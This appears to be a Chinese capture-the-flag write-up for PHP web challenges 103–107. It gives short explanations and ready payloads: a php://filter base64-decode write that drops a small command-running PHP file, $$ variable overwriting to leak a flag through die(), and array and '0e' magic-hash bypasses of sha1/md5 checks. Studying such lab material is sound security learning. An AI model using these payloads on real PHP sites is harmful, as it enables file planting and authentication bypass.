1.web103

 和102一样
 payload:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post     v1=hex2bin
2.web104

 值只要一样就可以了
 payload:
v2=1
post v1=1
3.web105

 考查的是$$变量覆盖,die可以带出数据,输出一条消息,退出脚本
 $$是把变量的值当作另一个变量的名
$a='b';
$aa='c';
echo $a;    #b
echo $b;    #c
echo $$a;  #c
分析:
有两个地方有变量覆盖,有两个die函数输出,最后一个die函数要用的话,必须设置flag,但是设置flag后就只有进行变量覆盖了,所以只能用第一个die函数里的error,需要考虑怎么通过变量覆盖使变量error和变量flag相等,还需要借助变量suces
当get 方式传入suces=flag,$key=suces,$value=flag 
foreach($_GET as $key => $value){$$key=$$value;    #变成了$suces=$flag,$suces的值是flag的值}
当post传入error=suces,$key=error,$value=suces
foreach($_POST as $key => $value){$$key=$$value;  #变成了$error=$flag,$error的值是flag的值
}
payload:
get   suces=flag
post  error=suces
4.web106

 数组可以绕过,sha1不处理数组
 payload:
v2[]=1
v1[]=2
或者v1和v2随便用下面的一个,科学计数法为0
aaroZmOk     0e76658526655756207688271159624026011393
aaK1STfY     0e66507019969427134894567494305185566735
aaO8zKZF
aa3OFF9m
5.web107

 parse_str将字符串解析成多个变量
$str = "first=value&arr[]=foo+bar&arr[]=baz";
parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar
数组绕过,md5不处理数组,返回null,v1不输入业返回null
 payload:
v3[]=1
v1=
参考文章:
 php特性